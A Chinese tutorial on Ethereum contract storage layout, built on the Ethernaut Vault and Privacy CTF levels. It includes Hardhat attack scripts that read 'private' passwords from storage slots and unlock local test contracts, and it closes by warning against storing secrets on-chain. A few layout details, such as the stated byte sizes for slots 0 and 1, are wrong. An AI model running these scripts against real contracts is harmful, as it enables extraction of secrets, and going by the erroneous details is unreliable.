本文作者:小驹[1]
以太坊编程中的存储主要包括两种:
每个智能合约都有自己的存储来反映合约的状态,这些存储都与智能合约的地址进行绑定。在不同的函数调用中,这些存储中的值都是保持不变的。
本文主要讨论在区块链上存储的合约数据。根据官方文档,合约数据在以太坊区块链上有 2^256 个槽,每个槽 32 字节.
Storage on Ethereum blockchain is 2^256 slots, and each slot is 32 bytes. 在以太坊区块链中的存储有 2^256 个槽,每个槽 32 字节。
静态变量(除了映射和动态大小的数组类型之外的所有变量)从位置 0 开始在存储中连续布局。同时为了节省空间,会根据以下规则将需要少于 32 个字节的多个项目打包到一个存储槽中:
数据按声明顺序依次存储在这些插槽中。存储时会进行优化以节省存储空间。因此,如果依次的多个变量可以在单个 32 字节槽中容纳的话,它们将共享同一个槽,并且依次从最低有效位(从右侧)开始存储和索引。
太坊存储和空间优化的可视化示例。图 1 说明状态变量按顺序挨个slot存储
,图 2 说明会将变量尽可能“挤”在一个slot中
,“挤” 不下的话就存储在下一个 slot 中。
当使用小于 32 字节的类型时,所花费合约的 gas 可能会更高。这与直观感受的”使用的空间越少,gas 费越低”的直观感受不相符。这是因为 EVM 一次运行 32 个 bytes。因此,如果类型小于 32 个 bytes,EVM 必须使用更多的操作才能将类型的大小从 32 bytes 减少到所需的大小。只有在存储内容时,使用对应大小的的参数是效果的,因为编译器会将多个元素打包到一个存储槽中,从而将多个读取或写入组合到一个操作中。在处理函数参数或 memory 类型值时,尽量不要使用小于 32 的类型,因为编译器不会打包这些值。由于它们不可预测的大小,映射和动态大小的数组类型使用 Keccak-256 哈希计算来查找值或数组数据的起始位置。这些起始位置始终是满栈槽。
mapping 和动态数组的大小不可预测,因此映射和动态数组类型使用 Keccak256 哈希
计算来查找值或数组数据的起始位置。这些起始位置始终是放在一个槽中。
🤪下面的文字比较难理解,建议可以根据演示三和演示四的模拟过程进行理解。
假设 mapping 或动态数组的存储位置在应用存储布局规则后最终存储在 slot p 中。
元素的数量
(字节数组和字符串除外,见下文)。空
,此时即使有两个彼此相邻的映射,它们的内容最终位于完全不同的存储位置
(是由 keccak256 哈希确定位置)。数组数据从 keccak256(p) 开始,其布局方式与静态大小的数组数据相同(一个元素接一个元素),如果元素不超过 16 个字节,则可能共享存储槽。动态数组的动态数组递归地应用此规则。
如计算元素 x[i][j] 的位置,其中 x 的类型是 uint24[][],计算如下(再次假设 x 本身存储在插槽 p 中): 插槽是 keccak256(keccak256(p) + i) + floor(j / floor(256 / 24)) 并且可以使用 (v >> ((j % floor(256 / 24)) * 24)) & type(uint24) 从槽数据 v 中获得元素。
对应于 mapping,key k 的值位于 keccak256(h(k)* p) 处,h 是根据类型应用于键的函数:
在 web3.js 中,可以使用web3.eth.getStorageAt
来访问合约存储。
在 ethers.js 中,可以使用privider.getStorageAt
来访问合约存储。
本文的模拟是基于 hardhat+ehers.js 的演示,所以读取合约存储时,使用的是privider.getStorageAt
函数进行访问。
通过 4 个示例来理解合约在区块链上的存储原则,4 个演示代码由简入繁,依次递进,逐步深入。
使用ethernaut vault
题目作为演示。演示的过程是:
通过这个演示,来理解在合约中的private变量虽然只能由合约本身使用,但可以通过合约地址读取到该pricate变量的具体内容
。
演示合约代码 Vault.sol
根据前面的分析,Vault 合约中的两个状态变量:locked,password。
第一个 slot 中会保存 locked,保存在最低位,高位的 31 个字节为空。
第二个 slot 中会保存 password。会占满第二个 slot 中的 32 个字节。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
在 script 目录下新建attack.ts
,模拟上面的攻击过程,通过使用命令npm hardhat run script/attack.ts
进行模拟。
import { util } from "chai";
import { utimes } from "fs";
import { ethers, waffle } from "hardhat";
async function main() {
const Vault = await ethers.getContractFactory("Vault");
const password = "aaaabbbccc";
const vault = await Vault.deploy(ethers.utils.formatBytes32String(password));
await vault.deployed();
console.log("---------环境模拟完成-------\\n 使用password:%s 进行部署\\n部署地址:%s\\n", password, vault.address);
// console.log("部署地址:", vault.address);
console.log("--------模拟攻击过程-------\\n--------取得slot 1的内容后,转化成string后就为密码");
let provider = waffle.provider;
console.log("slot 0(保存的是bool类型的locked,1表示true,0表示false):%s ", await provider.getStorageAt(vault.address, 0))
console.log("slot 1(保存的是password):%s, 转化成string:%s ",
await provider.getStorageAt(vault.address, 1),
ethers.utils.parseBytes32String(await provider.getStorageAt(vault.address, 1)))
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
可以看到,从第二个 slot 中(也就是 slot 1)中成功读取到了部署时使用的 password。
以 ethernaut 中的privacy题目
演示。因为原始的 privacy 合约是用低版本的 solidity 编写的,首先我们要 privacy 的合约适配到 0.8 版本中。需要修改的点只有一个:now 常量在 0.8 版本中已经被弃用,需要使用 block.timestamp 替代。
演示合约代码 privacy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
我们首先分析下合约的状态变量及状态变量所在 slot 的情况:
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
slot 0:
locked 占1个字节,剩余的3个字节留空
slot 1:
ID 占4个字节
slot 2:
flatterning占1个字节, denomination占1个字节, awkardness占2个字节。
slot 3, 4, 5:
data[0],data[1],data[2]
模拟过程:
privacy合约
的unlock
方法。就实现了解锁操作。privacy合约
的locked
方法,查看当前合约的锁定状态。使用下面的attack.ts
模拟上述的过程,通过使用命令npm hardhat run script/attack.ts
进行模拟并查看输出的日志。
import { ethers, waffle } from "hardhat";
async function main() {
const privider = waffle.provider;
const Privacy = await ethers.getContractFactory("Privacy");
const privacy = await Privacy.deploy([ethers.utils.formatBytes32String("abc"),
ethers.utils.formatBytes32String("123"),
ethers.utils.formatBytes32String("0123456789abcdefghigklmnopqrstu")]);
await privacy.deployed();
console.log("--------部署完成,地址:%s--------\\nlocked状态:%s", privacy.address, await privacy.locked());
console.log("---------攻击演示------\\n---------各slot数据------");
for (let i = 0; i < 6; i++) {
const element = await privider.getStorageAt(privacy.address, i);
console.log('slot%s:%s', i , element);
}
let slot5 = await privider.getStorageAt(privacy.address, 5);
console.log("读取数据,使用读取到的密码调用unlock函数....");
await privacy.unlock(ethers.utils.hexlify(slot5.slice(0,34))); //取16个字节,对应32位长度,再加上前面的0x前缀,一共要取34长度
console.log("locked状态:%s", await privacy.locked());
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
在合约中,定位到动态数组类型的状态变量的内容。
演示的合约代码 Vault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
//slot 0
uint public count = 123;
//slot 1
address public owner = msg.sender;
bool public isTrue = true;
uint16 public u16 = 31;
//slot 2
bytes32 private password;
// constant常量不占用slot
uint public constant SomeCount = 123;
//slot 3, 4, 5
bytes32[3] public data;
struct User {
uint id;
bytes32 password;
}
// slot 6
User[] private users;
// slot
mapping(uint => User) private idToUser;
constructor(bytes32 _password) {
password = _password;
}
function addUser(bytes32 _password) public {
User memory user = User({id: users.length, password:_password});
users.push(user);
idToUser[user.id] = user;
}
}
模拟演示过程文件 attack.ts,演示过程如下:
id为1的用户password为“123”,id为2的用户的password为“789”
。import { ethers, waffle } from "hardhat";
function addrAdd(_from:any, _num:number){
let b = ethers.BigNumber.from(_from).add(_num)
return ethers.utils.hexValue(b);
}
async function main() {
const privider = waffle.provider;
const Vault = await ethers.getContractFactory("Vault");
const vault = await Vault.deploy("0x0000000000000000000000000000000000000000000000000000000000616263");
await vault.deployed();
console.log("\\nvault部署地址:%s", vault.address);
console.log("---------攻击演示------\\n---------Vault各slot数据------");
// 因为users中没有数据,所以现在slot 6, slot7都为空
for (let i = 0; i < 8; i++) {
const element = await privider.getStorageAt(vault.address, i);
console.log('slot%s:%s', i , element);
}
// 添加两个用户,此时users动态数组中有数据了。
await vault.addUser("0x0000000000000000000000000000000000000000000000000000000000313233");
await vault.addUser("0x0000000000000000000000000000000000000000000000000000000000373839");
// 此时的slot6中保存的是动态数组users的长度。获得动态数组在区块链上的slot的方式。
console.log("\\n动态数组users的长度:%s\\n",await privider.getStorageAt(vault.address, 6));
var hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["uint"], [6]))
console.log("\\nuser[0].id:%s\\n", await privider.getStorageAt(vault.address, hash));
// 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f
console.log("\\nuser[0].password:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 1)));
console.log("\\nuser[1].id:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 2)));
console.log("\\nuser[1].password:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 3)));
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
目的:获取到private类型
mapping结构
状态变量
在 slot 中的内容。
原始的合约代码 UserPass.sol。根据前面的知识,slot0 中会保存 owner 的地址,slot1 中开始为 users 的 slot.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract UserPass {
//slot 0
address public owner = msg.sender;
// constant常量不占用slot
uint public constant SomeCount = 123;
struct User {
bytes32 name;
bytes32 password;
}
// slot 1
mapping(address => User) private users;
constructor() {
owner = msg.sender;
}
function addUser(bytes32 _username, bytes32 _password) public {
User memory user = User({name:_username, password:_password});
users[msg.sender] = user;
}
}
script 目录username.ts
,模拟脚本,通过命令来执行模拟脚本npx hardhat run scripts/username.ts
。
模拟的过程:
类型(address⇒uint)
、待取的数据的key的值user1.addr
和起始的slot
(这里是 1),计算出 hash=await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user1.address,1]))import { ethers, waffle } from "hardhat";
import { mainModule } from "process";
function addrAdd(_from:any, _num:number){
let b = ethers.BigNumber.from(_from).add(_num)
return ethers.utils.hexValue(b);
}
async function main() {
const privider = waffle.provider;
const UserPass = await ethers.getContractFactory("UserPass");
const userpass = await UserPass.deploy();
let user1, user2;
[user1, user2] = await ethers.getSigners();
await userpass.deployed();
console.log("\\nvault部署地址:%s\\nuser1.address:%s\\nuser2.address:%s", userpass.address, user1.address, user2.address);
console.log("\\n---------userpass各slot数据------");
// 因为users中没有数据,所以现在slot为owner, slot 1, slo2都为空
for (let i = 0; i < 3; i++) {
const element = await privider.getStorageAt(userpass.address, i);
console.log('slot%s:%s', i , element);
}
// 向mapping中添加两个数据
await userpass.connect(user1).addUser("0x0000000000000000000000000000000000000000000000000000000000313131",
"0x0000000000000000000000000000000000000000000000000000000031313131");
await userpass.connect(user2).addUser("0x0000000000000000000000000000000000000000000000000000000000323232",
"0x0000000000000000000000000000000000000000000000000000000032323232");
//slot 1 users
let hash;
console.log("\\n与动态数组不同,mapping数据不在slot中存储长度:%s",await privider.getStorageAt(userpass.address, 1));
hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user1.address,1]))
console.log("\\n根据mapping的key(addr:%s)计算得到hash(即为value所在的槽地址)=%s", user1.address,hash);
console.log("\\nmapping数据users的name:%s",await privider.getStorageAt(userpass.address, hash));
console.log("\\nmapping数据users的password:%s",await privider.getStorageAt(userpass.address, addrAdd(hash, 1)));
hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user2.address,1]))
console.log("\\n根据mapping的key(addr:%s)计算得到hash(即为value所在的槽地址)=%s", user2.address,hash);
console.log("\\nmapping数据users的name:%s",await privider.getStorageAt(userpass.address, hash));
console.log("\\nmapping数据users的password:%s",await privider.getStorage At(userpass.address, addrAdd(hash, 1)));
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
模拟结果:
vault部署地址:0x5FbDB2315678afecb367f032d93F642f64180aa3
user1.address:0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
user2.address:0x70997970C51812dc3A010C7d01b50e0d17dc79C8
---------userpass各slot数据------
slot0:0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
slot1:0x0000000000000000000000000000000000000000000000000000000000000000
slot2:0x0000000000000000000000000000000000000000000000000000000000000000
与动态数组不同,mapping数据不在slot中存储长度:0x0000000000000000000000000000000000000000000000000000000000000000
根据mapping的key(addr:0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266)计算得到hash(即为value所在的槽地址)=0xa3c1274aadd82e4d12c8004c33fb244ca686dad4fcc8957fc5668588c11d9502
mapping数据users的name:0x0000000000000000000000000000000000000000000000000000000000313131
mapping数据users的password:0x0000000000000000000000000000000000000000000000000000000031313131
根据mapping的key(addr:0x70997970C51812dc3A010C7d01b50e0d17dc79C8)计算得到hash(即为value所在的槽地址)=0x3c8e904cdb19937d60d41c8d984b1a8803ad6e0891b4f9e032dcec2a22c2c7f5
mapping数据users的name:0x0000000000000000000000000000000000000000000000000000000000323232
mapping数据users的password:0x0000000000000000000000000000000000000000000000000000000032323232
区块链上合约数据的存储,最需要理解的一些内容如下:
私有状态变量
!所以不要在区块链上存储密码和私钥,而且对于确实需要存储的敏感数据尽量使用 hash 比对的存储密文 hash。存储在slot
上,共 2^256 个 slot,每个 slot 占 32 个字节,状态变量按顺序挨个 slot 存储,尽可能“挤”在一个 slot 中,“挤” 不下的话就存储在下一个 slot 中。动态数组
,在对应的 slot 上存储数组的长度。通过对数组下标与数组类型计算出 hash,找到对应 hash 的 slot 后依次存储。mapping
类型,对应的 slot 上为 0x0。通过 mapping 类型、key 和起始的 slot 计算出 hash,找到 hash 对应的 slot 后依次存储。privider.getStorageAt
访问 slot,对于动态数组和 mapping 类型,结合使用ethers.utils.defaultAbiCoder.encode(["xxx", “xxx”], [slotnum])
和ethers.utils.keccak256
来得到 slot 的位置。solidity 官方数据存储说明
https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage[2]
常量不占存储空间的说明
https://docs.soliditylang.org/en/latest/contracts.html#constants[3]
ethernaut private 题目解答
https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6[4]
ethernaut vault 题目链接
https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188[5]
ethernaut vault 题目解答
https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f[6]
智能合约安全审计入门篇 —— 访问私有数据
https://learnblockchain.cn/article/3880[7]
[1]
小驹: https://learnblockchain.cn/people/9625
[2]
https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage: https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage
[3]
https://docs.soliditylang.org/en/latest/contracts.html#constants: https://docs.soliditylang.org/en/latest/contracts.html#constants
[4]
https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6: https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6
[5]
https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188: https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188
[6]
https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f: https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f
[7]
https://learnblockchain.cn/article/3880: https://learnblockchain.cn/article/3880